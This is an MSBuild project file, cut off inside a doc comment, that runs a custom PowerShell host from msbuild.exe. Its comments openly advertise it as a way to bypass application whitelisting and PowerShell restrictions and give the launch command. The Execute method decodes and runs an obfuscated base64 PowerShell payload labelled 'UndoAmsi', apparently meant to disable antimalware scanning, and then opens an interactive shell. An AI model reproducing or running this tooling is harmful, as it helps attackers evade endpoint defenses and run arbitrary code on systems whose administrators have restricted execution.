MSBuildShell.csproj

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- MSBuildShell, a Powershell Host running within MSBuild.exe -->
  <!-- This code let's you Bypass Application Whitelisting and Powershell.exe restrictions. -->
  <!-- Save This File And Execute The Following Command: -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj -->
  <!-- Author and founder of the MSBuild Application Whitelisting Bypass code: Casey Smith, Twitter: @subTee -->
  <!-- Powershell Host Code: Original from Microsoft (MSDN), modified by Cn33liz, Twitter: @Cneelis -->
  <!-- License: BSD 3-Clause -->
  <Target Name="MSBuildPosh">
   <MSBuildShell/>
  </Target>
   <UsingTask
    TaskName="MSBuildShell"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
     <Task>
      <Reference Include="System.Management.Automation" />		
      <Code Type="Class" Language="cs">
        <![CDATA[
			using System;
			using System.IO;
			using System.Text;
			using System.Linq;
			using System.Globalization;
			using System.Reflection;
			using System.Security;
			using Microsoft.Win32;
			using Microsoft.Build.Framework;
			using Microsoft.Build.Utilities;
			using System.ComponentModel;
			using System.Collections.Generic;
			using System.Collections.ObjectModel;
			using System.Runtime.InteropServices;
			using System.Management.Automation;
			using System.Management.Automation.Host;
			using System.Management.Automation.Runspaces;
			using PowerShell = System.Management.Automation.PowerShell;


			public class MSBuildShell :  Task, ITask
			{
				[DllImport("ntdll.dll")]
				private static extern int RtlGetVersion(out RTL_OSVERSIONINFOEX lpVersionInformation);

				[StructLayout(LayoutKind.Sequential)]
				internal struct RTL_OSVERSIONINFOEX
				{
					internal uint dwOSVersionInfoSize;
					internal uint dwMajorVersion;
					internal uint dwMinorVersion;
					internal uint dwBuildNumber;
					internal uint dwPlatformId;
					[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
					internal string szCSDVersion;
				}

				public static decimal RtlGetVersion()
				{
					RTL_OSVERSIONINFOEX osvi = new RTL_OSVERSIONINFOEX();
					osvi.dwOSVersionInfoSize = (uint)Marshal.SizeOf(osvi);
					//const string version = "Microsoft Windows";
					if (RtlGetVersion(out osvi) == 0)
					{
						string Version = osvi.dwMajorVersion + "." + osvi.dwMinorVersion;
						return decimal.Parse(Version, CultureInfo.InvariantCulture);
					}
					else
					{
						return -1;
					}
				}
			
				public static void PrintBanner()
				{
					Console.BackgroundColor = ConsoleColor.DarkBlue;
					Console.ForegroundColor = ConsoleColor.White;
					Console.Clear();
					Console.WriteLine("Windows MSBuildShell");
					Console.WriteLine("Copyright(C) 2016 Microsoft Corporation, subTee and Cn33liz. All rights reserved.");
					Console.WriteLine();
				}

				private static PowerListenerConsole PowerListener = new PowerListenerConsole();

				public override bool Execute()
				{
					Console.Title = "Windows MSBuildShell";
					PrintBanner();
					string LatestOSVersion = "6.3";
					decimal latestOSVersionDec = decimal.Parse(LatestOSVersion, CultureInfo.InvariantCulture);
					if (RtlGetVersion() > latestOSVersionDec)
					{
						string UndoAmsi = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(@"IElOdm9rRS1leHByZVNTSU9uICggKCBbcnVOVGlNRS5JbnRFUk9QU2VSVklDRXMubUFSU0hBbF06OlB0UnRPc3RSSW5HQXV0byggW3JVTnRJTWUuaU5URVJvUFNlclZJY2VTLm1BcnNoQUxdOjpTZWN1ckVTVHJJbmd0b0JTdFIoJCgnNzY0OTJkMTExNjc0M2YwNDIzNDEzYjE2MDUwYTUzNDVNZ0I4QUhFQVRRQmxBREFBTkFCV0FEUUFTQUJJQURZQWVBQmlBSGtBYkFCTkFHUUFjUUJIQUhFQWNnQkZBRkVBUFFBOUFId0FaZ0ExQUdNQVlnQXpBRElBWXdCaUFHUUFZUUF6QURZQVl3QmhBRElBTUFBM0FEa0FOUUJtQURVQVpnQTNBR1FBT1FBM0FEZ0FZUUF6QUdZQU5BQTJBRFVBTmdBeUFEa0FNUUE0QURrQVl3QXdBRElBWWdBd0FEa0FaQUJsQURZQU1BQXpBRFFBTlFCa0FESUFaZ0F4QUdRQVpnQmhBRE1BTVFBM0FEQUFaQUJpQURNQU5BQTVBREFBTndCakFEVUFPUUE1QUdNQU5nQmlBR1FBWXdBMUFHVUFZd0JsQURVQU5nQXdBRGtBWXdBd0FEWUFPQUF5QURFQU9RQmhBRElBWWdBMkFETUFPUUEyQURjQVlnQTBBRE1BT1FBeEFHUUFNd0EzQUdRQU5BQmtBRElBTkFBMEFHVUFNZ0F3QUdNQVpnQXdBRFFBWkFBekFHRUFaQUEzQURnQVl3QTVBRGdBT0FCakFESUFOQUJqQUdVQU5BQTBBRFVBWlFBNUFHRUFNUUJoQURVQU9RQTRBREFBWmdBd0FHWUFOZ0E1QURRQU1RQTFBR0VBTmdBNUFETUFaQUJpQURBQVlRQm1BRE1BWmdBeEFHUUFOd0E0QUdJQU1nQTRBRE1BT1FCbEFHVUFPQUEyQURRQVpBQTVBR0VBTVFCaUFESUFaQUJoQUdFQU5nQTVBRGdBTVFCbEFEY0FaUUEyQURJQVpBQmlBRElBWXdCbEFESUFaQUJpQUdNQVpBQmlBREFBWXdCaEFEQUFaQUE1QURZQVlRQTFBREVBTmdCa0FETUFOd0ExQURjQVpBQXdBRFlBTXdBd0FHVUFOUUEwQURFQU1BQTRBREVBTUFBNUFESUFNUUExQURnQU5BQmhBRFVBWXdBekFHTUFOQUF4QUdVQVpnQXlBRFVBWWdCbEFEa0FaZ0F6QURrQU9BQTVBREFBWlFBNUFESUFZUUEyQURVQU9RQXpBREVBT1FBMkFEVUFaUUF4QURjQU1BQTNBRFVBTlFCaEFHRUFNZ0EwQUdJQU5nQTFBRGNBTlFBeEFEUUFOd0F5QURZQU53QXhBRGtBTkFBMEFEWUFNZ0EwQURrQU5nQmxBR1lBWVFCakFHWUFOUUJsQURRQVpBQmhBRGdBTmdBM0FERUFaZ0JoQUdVQU9BQmxBRFVBTUFBMkFEY0FOQUE1QURNQVpBQTBBRGdBWlFBd0FHUUFNQUF5QURjQU5BQTJBR0VBTndBekFEVUFZUUE1QUdRQU1nQmtBR1FBTXdBMEFHRUFOZ0EwQUdRQU9RQTJBRGtBTndBd0FHRUFZd0ExQURnQU5nQXhBREFBTUFBMkFEUUFNUUJqQURFQVpRQmtBREFBTVFBMkFEZ0FaZ0F5QURNQU13QXpBRE1BWXdBNUFHWUFNUUJtQURJQU53QXdBRFVBWmdBMkFEVUFNd0F5QURnQU13QTBBRGNBWWdBNEFEVUFZZ0JtQURNQU1BQTFBRFFBTkFCbEFHWUFaQUF6QUdNQU53Qm1BRFVBTmdBM0FHUUFPUUF6QURFQU1nQTFBRFVBWlFBekFEY0FaZ0JqQUdFQU53QTRBR0lBWWdBNEFESUFPUUJoQUdVQU9RQXhBRGdBTmdBMEFEY0FNQUF6QUdJQVpRQmlBRFVBWkFBd0FEVUFPUUF4QURFQU53QTRBRGtBTlFBd0FESUFOd0JpQURnQVpRQTVBR1lBTVFBekFEQUFNUUF5QURFQU5RQXhBRGNBTWdCaUFETUFPQUF6QURjQU53QmxBR01BWkFCbEFHWUFZZ0JtQURVQU13QmxBR1lBWXdBeUFEa0FOd0EzQUdNQU5RQmxBRElBWXdBeUFERUFOQUF4QUdFQU5nQmpBR1FBTWdBNUFESUFNd0F4QURZQVpRQm1BREFBTXdBekFEVUFZd0JrQUdZQU5BQT0nIHxjb25WRVJUdG8tc0VjdVJFc3RSSU5HICAta0VZICgyMTIuLjE4MSkpICkpKSkg"));
						PowerListener.Execute(UndoAmsi);
					}

					PowerListener.CommandShell();
					return true;
				}
			}

			class PowerListenerConsole
			{
				private bool shouldExit;

				private int exitCode;

				private MyHost myHost;

				internal Runspace myRunSpace;

				private PowerShell currentPowerShell;

				private object instanceLock = new object();

				public PowerListenerConsole()
				{

					InitialSessionState state = InitialSessionState.CreateDefault();
					state.AuthorizationManager = new System.Management.Automation.AuthorizationManager("Dummy");

					this.myHost = new MyHost(this);
					this.myRunSpace = RunspaceFactory.CreateRunspace(this.myHost, state);
					this.myRunSpace.Open();

					lock (this.instanceLock)
					{
						this.currentPowerShell = PowerShell.Create();
					}

					try
					{
						this.currentPowerShell.Runspace = this.myRunSpace;

						PSCommand[] profileCommands = HostUtilities.GetProfileCommands("PowerShell");
						foreach (PSCommand command in profileCommands)
						{
							this.currentPowerShell.Commands = command;
							this.currentPowerShell.Invoke();
						}
					}
					finally
					{
						lock (this.instanceLock)
						{
							this.currentPowerShell.Dispose();
							this.currentPowerShell = null;
						}
					}
				}

				public bool ShouldExit
				{
					get { return this.shouldExit; }
					set { this.shouldExit = value; }
				}

				public int ExitCode
				{
					get { return this.exitCode; }
					set { this.exitCode = value; }
				}

				public void CommandShell()
				{
					PowerListenerConsole listener = new PowerListenerConsole();
					listener.CommandPrompt();
				}

				private void executeHelper(string cmd, object input)
				{
					if (String.IsNullOrEmpty(cmd))
					{
						return;
					}

					lock (this.instanceLock)
					{
						this.currentPowerShell = PowerShell.Create();
					}

					try
					{
						this.currentPowerShell.Runspace = this.myRunSpace;
						this.currentPowerShell.AddScript(cmd);
						this.currentPowerShell.AddCommand("out-default");
						this.currentPowerShell.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output);

						if (input != null)
						{
							this.currentPowerShell.Invoke(new object[] { input });
						}
						else
						{
							this.currentPowerShell.Invoke();
						}
					}
					finally
					{
						lock (this.instanceLock)
						{
							this.currentPowerShell.Dispose();
							this.currentPowerShell = null;
						}
					}
				}

				private void ReportException(Exception e)
				{
					if (e != null)
					{
						object error;
						IContainsErrorRecord icer = e as IContainsErrorRecord;
						if (icer != null)
						{
							error = icer.ErrorRecord;
						}
						else
						{
							error = (object)new ErrorRecord(e, "Host.ReportException", ErrorCategory.NotSpecified, null);
						}

						lock (this.instanceLock)
						{
							this.currentPowerShell = PowerShell.Create();
						}

						this.currentPowerShell.Runspace = this.myRunSpace;

						try
						{
							this.currentPowerShell.AddScript("$input").AddCommand("out-string");

							Collection<PSObject> result;
							PSDataCollection<object> inputCollection = new PSDataCollection<object>();
							inputCollection.Add(error);
							inputCollection.Complete();
							result = this.currentPowerShell.Invoke(inputCollection);

							if (result.Count > 0)
							{
								string str = result[0].BaseObject as string;
								if (!string.IsNullOrEmpty(str))
								{
									this.myHost.UI.WriteErrorLine(str.Substring(0, str.Length - 2));
								}
							}
						}
						finally
						{
							lock (this.instanceLock)
							{
								this.currentPowerShell.Dispose();
								this.currentPowerShell = null;
							}
						}
					}
				}

				public void Execute(string cmd)
				{
					try
					{
						this.executeHelper(cmd, null);
					}
					catch (RuntimeException rte)
					{
						this.ReportException(rte);
					}
				}

				private void HandleControlC(object sender, ConsoleCancelEventArgs e)
				{
					try
					{
						lock (this.instanceLock)
						{
							if (this.currentPowerShell != null && this.currentPowerShell.InvocationStateInfo.State == PSInvocationState.Running)
							{
								this.currentPowerShell.Stop();
							}
						}

						e.Cancel = true;
					}
					catch (Exception exception)
					{
						this.myHost.UI.WriteErrorLine(exception.ToString());
					}
				}

				private void CommandPrompt()
				{
					int bufSize = 8192;
					Stream inStream = Console.OpenStandardInput(bufSize);
					Console.SetIn(new StreamReader(inStream, Console.InputEncoding, false, bufSize));

					Console.CancelKeyPress += new ConsoleCancelEventHandler(this.HandleControlC);
					Console.TreatControlCAsInput = false;

					while (!this.ShouldExit)
					{
						string prompt;
						if (this.myHost.IsRunspacePushed)
						{
							prompt = string.Format("[{0}]: PS> ", this.myRunSpace.ConnectionInfo.ComputerName);
						}
						else
						{
							prompt = string.Format("PS {0}> ", this.myRunSpace.SessionStateProxy.Path.CurrentFileSystemLocation.Path);
						}

						this.myHost.UI.Write(prompt);
						string cmd = Console.ReadLine();
						if (cmd == "exit" || cmd == "quit")
						{
							return;
						}
						else if (cmd == "cls")
						{
							Console.Clear();
						}
						else
						{
							try
							{
								this.Execute(cmd);
							}
							catch (Exception e)
							{
								Console.WriteLine(e.Message);
							}
						}
					}

				}
			}


			internal class MyHost : PSHost, IHostSupportsInteractiveSession
			{
				/// <summary>
				/// A reference to the runspace used to start an interactive session.
				/// </summary>
				public Runspace pushedRunspace = null;

				/// <summary>
				/// Initializes a new instance of the MyHost class. Keep a reference 
				/// to the host application object so that it can be informed when 
				/// to exit.
				/// </summary>
				/// <param name="program">A reference to the host application object.</param>
				public MyHost(PowerListenerConsole program)
				{
					this.program = program;
				}

				/// <summary>
				/// The identifier of this instance of the host implementation.
				/// </summary>
				private static Guid instanceId = Guid.NewGuid();

				/// <summary>
				/// A reference to the PSHost implementation.
				/// </summary>
				private PowerListenerConsole program;

				/// <summary>
				/// The culture information of the thread that created this object.
				/// </summary>
				private CultureInfo originalCultureInfo = System.Threading.Thread.CurrentThread.CurrentCulture;

				/// <summary>
				/// The UI culture information of the thread that created this object.
				/// </summary>
				private CultureInfo originalUICultureInfo = System.Threading.Thread.CurrentThread.CurrentUICulture;

				/// <summary>
				/// A reference to the implementation of the PSHostUserInterface
				/// class for this application.
				/// </summary>
				private MyHostUserInterface myHostUserInterface = new MyHostUserInterface();

				/// <summary>
				/// Gets the culture information to use. This implementation takes a 
				/// snapshot of the culture information of the thread that created 
				/// this object.
				/// </summary>
				public override CultureInfo CurrentCulture
				{
					get { return this.originalCultureInfo; }
				}

				/// <summary>
				/// Gets the UI culture information to use. This implementation takes 
				/// snapshot of the UI culture information of the thread that created 
				/// this object.
				/// </summary>
				public override CultureInfo CurrentUICulture
				{
					get { return this.originalUICultureInfo; }
				}

				/// <summary>
				/// Gets the identifier of this instance of the host implementation. 
				/// This implementation always returns the GUID allocated at 
				/// instantiation time.
				/// </summary>
				public override Guid InstanceId
				{
					get { return instanceId; }
				}

				/// <summary>
				/// Gets the name of the host implementation. This string may be used 
				/// by script writers to identify when this host is being used.
				/// </summary>
				public override string Name
				{
					get { return "MSBuildShell"; }
				}

				/// <summary>
				/// Gets an instance of the implementation of the PSHostUserInterface class 
				/// for this application. This instance is allocated once at startup time
				/// and returned every time thereafter.
				/// </summary>
				public override PSHostUserInterface UI
				{
					get { return this.myHostUserInterface; }
				}

				/// <summary>
				/// Gets the version object for this host application. Typically 
				/// this should match the version resource in the application.
				/// </summary>
				public override Version Version
				{
					get { return new Version(1, 0, 0, 0); }
				}

				#region IHostSupportsInteractiveSession Properties

				/// <summary>
				/// Gets a value indicating whether a request 
				/// to open a PSSession has been made.
				/// </summary>
				public bool IsRunspacePushed
				{
					get { return this.pushedRunspace != null; }
				}

				/// <summary>
				/// Gets or sets the runspace used by the PSSession.
				/// </summary>
				public Runspace Runspace
				{
					get { return this.program.myRunSpace; }
					internal set { this.program.myRunSpace = value; }
				}
				#endregion IHostSupportsInteractiveSession Properties

				/// <summary>
				/// Instructs the host to interrupt the currently running pipeline 
				/// and start a new nested input loop. Not implemented by this example class. 
				/// The call fails with an exception.
				/// </summary>
				public override void EnterNestedPrompt()
				{
					throw new NotImplementedException("Cannot suspend the shell, EnterNestedPrompt() method is not implemented by MyHost.");
				}

				/// <summary>
				/// Instructs the host to exit the currently running input loop. Not 
				/// implemented by this example class. The call fails with an 
				/// exception.
				/// </summary>
				public override void ExitNestedPrompt()
				{
					throw new NotImplementedException("The ExitNestedPrompt() method is not implemented by MyHost.");
				}

				/// <summary>
				/// Notifies the host that the Windows PowerShell runtime is about to 
				/// execute a legacy command-line application. Typically it is used 
				/// to restore state that was changed by a child process after the 
				/// child exits. This implementation does nothing and simply returns.
				/// </summary>
				public override void NotifyBeginApplication()
				{
					return;  // Do nothing.
				}

				/// <summary>
				/// Notifies the host that the Windows PowerShell engine has 
				/// completed the execution of a legacy command. Typically it 
				/// is used to restore state that was changed by a child process 
				/// after the child exits. This implementation does nothing and 
				/// simply returns.
				/// </summary>
				public override void NotifyEndApplication()
				{
					return; // Do nothing.
				}

				/// <summary>
				/// Indicate to the host application that exit has
				/// been requested. Pass the exit code that the host
				/// application should use when exiting the process.
				/// </summary>
				/// <param name="exitCode">The exit code that the host application should use.</param>
				public override void SetShouldExit(int exitCode)
				{
					this.program.ShouldExit = true;
					this.program.ExitCode = exitCode;
				}

				#region IHostSupportsInteractiveSession Methods

				/// <summary>
				/// Requests to close a PSSession.
				/// </summary>
				public void PopRunspace()
				{
					Runspace = this.pushedRunspace;
					this.pushedRunspace = null;
				}

				/// <summary>
				/// Requests to open a PSSession.
				/// </summary>
				/// <param name="runspace">Runspace to use.</param>
				public void PushRunspace(Runspace runspace)
				{
					this.pushedRunspace = Runspace;
					Runspace = runspace;
				}

				#endregion IHostSupportsInteractiveSession Methods
			}


			internal class MyHostUserInterface : PSHostUserInterface, IHostUISupportsMultipleChoiceSelection
			{
				[DllImport("ole32.dll")]
				public static extern void CoTaskMemFree(IntPtr ptr);

				[DllImport("credui.dll", CharSet = CharSet.Auto)]
				private static extern int CredUIPromptForWindowsCredentials(ref CREDUI_INFO notUsedHere, int authError, ref uint authPackage, IntPtr InAuthBuffer, uint InAuthBufferSize, out IntPtr refOutAuthBuffer, out uint refOutAuthBufferSize, ref bool fSave, int flags);

				[DllImport("credui.dll", CharSet = CharSet.Auto)]
				private static extern bool CredUnPackAuthenticationBuffer(int dwFlags, IntPtr pAuthBuffer, uint cbAuthBuffer, StringBuilder pszUserName, ref int pcchMaxUserName, StringBuilder pszDomainName, ref int pcchMaxDomainame, StringBuilder pszPassword, ref int pcchMaxPassword);

				[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
				private struct CREDUI_INFO
				{
					public int cbSize;
					public IntPtr hwndParent;
					public string pszMessageText;
					public string pszCaptionText;
					public IntPtr hbmBanner;
				}
				/// <summary>
				/// A reference to the MyRawUserInterface implementation.
				/// </summary>
				private MyRawUserInterface myRawUi = new MyRawUserInterface();

				/// <summary>
				/// Gets an instance of the PSRawUserInterface object for this host
				/// application.
				/// </summary>
				public override PSHostRawUserInterface RawUI
				{
					get { return this.myRawUi; }
				}

				/// <summary>
				/// Prompts the user for input.
				/// </summary>
				/// <param name="caption">Text that preceeds the prompt (a title).</param>
				/// <param name="message">Text of the prompt.</param>
				/// <param name="descriptions">A collection of FieldDescription objects 
				/// that contains the user input.</param>
				/// <returns>A dictionary object that contains the results of the user prompts.</returns>
				public override Dictionary<string, PSObject> Prompt(
							   string caption,
							   string message,
							   Collection<FieldDescription> descriptions)
				{
					this.Write(
						  ConsoleColor.Blue,
						  ConsoleColor.Black,
						  caption + "\n" + message + " ");
					Dictionary<string, PSObject> results =
						new Dictionary<string, PSObject>();
					foreach (FieldDescription fd in descriptions)
					{
						string[] label = GetHotkeyAndLabel(fd.Label);
						this.WriteLine(label[1]);
						string userData = Console.ReadLine();
						if (userData == null)
						{
							return null;
						}

						results[fd.Name] = PSObject.AsPSObject(userData);
					}

					return results;
				}

				/// <summary>
				/// Provides a set of choices that enable the user to choose a single option 
				/// from a set of options. 
				/// </summary>
				/// <param name="caption">A title that proceeds the choices.</param>
				/// <param name="message">An introduction  message that describes the 
				/// choices.</param>
				/// <param name="choices">A collection of ChoiceDescription objects that describ 
				/// each choice.</param>
				/// <param name="defaultChoice">The index of the label in the Choices parameter 
				/// collection that indicates the default choice used if the user does not specify 
				/// a choice. To indicate no default choice, set to -1.</param>
				/// <returns>The index of the Choices parameter collection element that corresponds 
				/// to the option that is selected by the user.</returns>
				public override int PromptForChoice(
													string caption,
													string message,
													Collection<ChoiceDescription> choices,
													int defaultChoice)
				{
					// Write the caption and message strings in Blue.
					this.WriteLine(
								   ConsoleColor.Blue,
								   ConsoleColor.Black,
								   caption + "\n" + message + "\n");

					// Convert the choice collection into something that's a
					// little easier to work with
					// See the BuildHotkeysAndPlainLabels method for details.
					string[,] promptData = BuildHotkeysAndPlainLabels(choices);

					// Format the overall choice prompt string to display...
					StringBuilder sb = new StringBuilder();
					for (int element = 0; element < choices.Count; element++)
					{
						sb.Append(String.Format(
												CultureInfo.CurrentCulture,
												"|{0}> {1} ",
												promptData[0, element],
												promptData[1, element]));
					}

					sb.Append(String.Format(
											CultureInfo.CurrentCulture,
											"[Default is ({0}]",
											promptData[0, defaultChoice]));

					// loop reading prompts until a match is made, the default is
					// chosen or the loop is interrupted with ctrl-C.
					while (true)
					{
						this.WriteLine(ConsoleColor.Cyan, ConsoleColor.Black, sb.ToString());
						string data = Console.ReadLine().Trim().ToUpper(CultureInfo.CurrentCulture);

						// if the choice string was empty, use the default selection
						if (data.Length == 0)
						{
							return defaultChoice;
						}

						// see if the selection matched and return the
						// corresponding index if it did...
						for (int i = 0; i < choices.Count; i++)
						{
							if (promptData[0, i] == data)
							{
								return i;
							}
						}

						this.WriteErrorLine("Invalid choice: " + data);
					}
				}

				#region IHostUISupportsMultipleChoiceSelection Members

				/// <summary>
				/// Provides a set of choices that enable the user to choose a one or more options 
				/// from a set of options. 
				/// </summary>
				/// <param name="caption">A title that proceeds the choices.</param>
				/// <param name="message">An introduction  message that describes the 
				/// choices.</param>
				/// <param name="choices">A collection of ChoiceDescription objects that describe each choice.</param>
				/// <param name="defaultChoices">The index of the label in the Choices parameter 
				/// collection that indicates the default choice used if the user does not specify 
				/// a choice. To indicate no default choice, set to -1.</param>
				/// <returns>The index of the Choices parameter collection element that corresponds 
				/// to the choices selected by the user.</returns>
				public Collection<int> PromptForChoice(
													   string caption,
													   string message,
													   Collection<ChoiceDescription> choices,
													   IEnumerable<int> defaultChoices)
				{
					// Write the caption and message strings in Blue.
					this.WriteLine(
								   ConsoleColor.Blue,
								   ConsoleColor.Black,
								   caption + "\n" + message + "\n");

					// Convert the choice collection into something that's a
					// little easier to work with
					// See the BuildHotkeysAndPlainLabels method for details.
					string[,] promptData = BuildHotkeysAndPlainLabels(choices);

					// Format the overall choice prompt string to display...
					StringBuilder sb = new StringBuilder();
					for (int element = 0; element < choices.Count; element++)
					{
						sb.Append(String.Format(
												CultureInfo.CurrentCulture,
												"|{0}> {1} ",
												promptData[0, element],
												promptData[1, element]));
					}

					Collection<int> defaultResults = new Collection<int>();
					if (defaultChoices != null)
					{
						int countDefaults = 0;
						foreach (int defaultChoice in defaultChoices)
						{
							++countDefaults;
							defaultResults.Add(defaultChoice);
						}

						if (countDefaults != 0)
						{
							sb.Append(countDefaults == 1 ? "[Default choice is " : "[Default choices are ");
							foreach (int defaultChoice in defaultChoices)
							{
								sb.AppendFormat(
												CultureInfo.CurrentCulture,
												"\"{0}\",",
												promptData[0, defaultChoice]);
							}

							sb.Remove(sb.Length - 1, 1);
							sb.Append("]");
						}
					}

					this.WriteLine(ConsoleColor.Cyan, ConsoleColor.Black, sb.ToString());

					// loop reading prompts until a match is made, the default is
					// chosen or the loop is interrupted with ctrl-C.
					Collection<int> results = new Collection<int>();
					while (true)
					{
						ReadNext:
						string prompt = string.Format(CultureInfo.CurrentCulture, "Choice[{0}]:", results.Count);
						this.Write(ConsoleColor.Cyan, ConsoleColor.Black, prompt);
						string data = Console.ReadLine().Trim().ToUpper(CultureInfo.CurrentCulture);

						// if the choice string was empty, no more choices have been made.
						// if there were no choices made, return the defaults
						if (data.Length == 0)
						{
							return (results.Count == 0) ? defaultResults : results;
						}

						// see if the selection matched and return the
						// corresponding index if it did...
						for (int i = 0; i < choices.Count; i++)
						{
							if (promptData[0, i] == data)
							{
								results.Add(i);
								goto ReadNext;
							}
						}

						this.WriteErrorLine("Invalid choice: " + data);
					}
				}

				#endregion

				/// <summary>
				/// Prompts the user for credentials with a specified prompt window 
				/// caption, prompt message, user name, and target name.
				/// </summary>
				/// <param name="caption">The caption of the message window.</param>
				/// <param name="message">The text of the message.</param>
				/// <param name="userName">The user name whose credential is to be prompted for.</param>
				/// <param name="targetName">The name of the target for which the credential is collected.</param>
				/// <returns>Throws a NotImplementException exception.</returns>
				public override PSCredential PromptForCredential(
											 string caption,
											 string message,
											 string userName,
											 string targetName)
				{
					PromptCredentialsResult result = CredentialUI.PromptForCredentials(targetName, caption, message, userName, null);
					return result == null ? null : new PSCredential(result.UserName, result.Password.ToSecureString());
				}


				/// <summary>
				/// Prompts the user for credentials by using a specified prompt window 
				/// caption, prompt message, user name and target name, credential types 
				/// allowed to be returned, and UI behavior options.
				/// </summary>
				/// <param name="caption">The caption of the message window.</param>
				/// <param name="message">The text of the message.</param>
				/// <param name="userName">The user name whose credential is to be prompted for.</param>
				/// <param name="targetName">The name of the target for which the credential is collected.</param>
				/// <param name="allowedCredentialTypes">PSCredentialTypes cconstants that identify the type of 
				/// credentials that can be returned.</param>
				/// <param name="options">A PSCredentialUIOptions constant that identifies the UI behavior 
				/// when it gathers the credentials.</param>
				/// <returns>Throws a NotImplementException exception.</returns>
				public override PSCredential PromptForCredential(
									   string caption,
									   string message,
									   string userName,
									   string targetName,
									   PSCredentialTypes allowedCredentialTypes,
									   PSCredentialUIOptions options)
				{
					PromptCredentialsResult result = CredentialUI.PromptForCredentials(targetName, caption, message, userName, null);
					return result == null ? null : new PSCredential(result.UserName, result.Password.ToSecureString());
				}


				/// <summary>
				/// Reads characters that are entered by the user until a 
				/// newline (carriage return) is encountered.
				/// </summary>
				/// <returns>The characters entered by the user.</returns>
				public override string ReadLine()
				{
					return Console.ReadLine();
				}

				/// <summary>
				/// Reads characters entered by the user until a newline (carriage return) 
				/// is encountered and returns the characters as a secure string.
				/// </summary>
				/// <returns>A secure string of the characters entered by the user.</returns>
				public override System.Security.SecureString ReadLineAsSecureString()
				{
					return Console.ReadLine().ToSecureString();
				}

				/// <summary>
				/// Writes a line of characters to the output display of the host 
				/// and appends a newline (carriage return).
				/// </summary>
				/// <param name="value">The characters to be written.</param>
				public override void Write(string value)
				{
					Console.Write(value);
				}

				/// <summary>
				/// Writes characters to the output display of the host with possible 
				/// foreground and background colors. 
				/// </summary>
				/// <param name="foregroundColor">The color of the characters.</param>
				/// <param name="backgroundColor">The backgound color to use.</param>
				/// <param name="value">The characters to be written.</param>
				public override void Write(
										   ConsoleColor foregroundColor,
										   ConsoleColor backgroundColor,
										   string value)
				{
					ConsoleColor oldFg = Console.ForegroundColor;
					ConsoleColor oldBg = Console.BackgroundColor;
					Console.ForegroundColor = foregroundColor;
					Console.BackgroundColor = backgroundColor;
					Console.Write(value);
					Console.ForegroundColor = oldFg;
					Console.BackgroundColor = oldBg;
				}

				/// <summary>
				/// Writes a line of characters to the output display of the host 
				/// with foreground and background colors and appends a newline (carriage return). 
				/// </summary>
				/// <param name="foregroundColor">The forground color of the display. </param>
				/// <param name="backgroundColor">The background color of the display. </param>
				/// <param name="value">The line to be written.</param>
				public override void WriteLine(
											   ConsoleColor foregroundColor,
											   ConsoleColor backgroundColor,
											   string value)
				{
					ConsoleColor oldFg = Console.ForegroundColor;
					ConsoleColor oldBg = Console.BackgroundColor;
					Console.ForegroundColor = foregroundColor;
					Console.BackgroundColor = backgroundColor;
					Console.WriteLine(value);
					Console.ForegroundColor = oldFg;
					Console.BackgroundColor = oldBg;
				}

				/// <summary>
				/// Writes a debug message to the output display of the host.
				/// </summary>
				/// <param name="message">The debug message that is displayed.</param>
				public override void WriteDebugLine(string message)
				{
					this.WriteLine(
								   ConsoleColor.DarkYellow,
								   ConsoleColor.Black,
								   String.Format(CultureInfo.CurrentCulture, "DEBUG: {0}", message));
				}

				/// <summary>
				/// Writes an error message to the output display of the host.
				/// </summary>
				/// <param name="value">The error message that is displayed.</param>
				public override void WriteErrorLine(string value)
				{
					this.WriteLine(ConsoleColor.Red, ConsoleColor.Black, value);
				}

				/// <summary>
				/// Writes a newline character (carriage return) 
				/// to the output display of the host. 
				/// </summary>
				public override void WriteLine()
				{
					Console.WriteLine();
				}

				/// <summary>
				/// Writes a line of characters to the output display of the host 
				/// and appends a newline character(carriage return). 
				/// </summary>
				/// <param name="value">The line to be written.</param>
				public override void WriteLine(string value)
				{
					Console.WriteLine(value);
				}

				/// <summary>
				/// Writes a verbose message to the output display of the host.
				/// </summary>
				/// <param name="message">The verbose message that is displayed.</param>
				public override void WriteVerboseLine(string message)
				{
					this.WriteLine(
								   ConsoleColor.Yellow,
								   ConsoleColor.Black,
								   String.Format(CultureInfo.CurrentCulture, "VERBOSE: {0}", message));
				}

				/// <summary>
				/// Writes a warning message to the output display of the host.
				/// </summary>
				/// <param name="message">The warning message that is displayed.</param>
				public override void WriteWarningLine(string message)
				{
					this.WriteLine(
								   ConsoleColor.Yellow,
								   ConsoleColor.Black,
								   String.Format(CultureInfo.CurrentCulture, "WARNING: {0}", message));
				}

				/// <summary>
				/// Writes a progress report to the output display of the host. 
				/// Wrinting a progress report is not required for the cmdlet to 
				/// work so it is better to do nothing instead of throwing an 
				/// exception.
				/// </summary>
				/// <param name="sourceId">Unique identifier of the source of the record. </param>
				/// <param name="record">A ProgressReport object.</param>
				public override void WriteProgress(long sourceId, ProgressRecord record)
				{
					// Do nothing.
				}

				/// <summary>
				/// Parse a string containing a hotkey character.
				/// Take a string of the form
				///    Yes to &amp;all
				/// and returns a two-dimensional array split out as
				///    "A", "Yes to all".
				/// </summary>
				/// <param name="input">The string to process</param>
				/// <returns>
				/// A two dimensional array containing the parsed components.
				/// </returns>
				private static string[] GetHotkeyAndLabel(string input)
				{
					string[] result = new string[] { String.Empty, String.Empty };
					string[] fragments = input.Split('&');
					if (fragments.Length == 2)
					{
						if (fragments[1].Length > 0)
						{
							result[0] = fragments[1][0].ToString().
							ToUpper(CultureInfo.CurrentCulture);
						}

						result[1] = (fragments[0] + fragments[1]).Trim();
					}
					else
					{
						result[1] = input;
					}

					return result;
				}

				/// <summary>
				/// This is a private worker function splits out the
				/// accelerator keys from the menu and builds a two
				/// dimentional array with the first access containing the
				/// accelerator and the second containing the label string
				/// with the &amp; removed.
				/// </summary>
				/// <param name="choices">The choice collection to process</param>
				/// <returns>
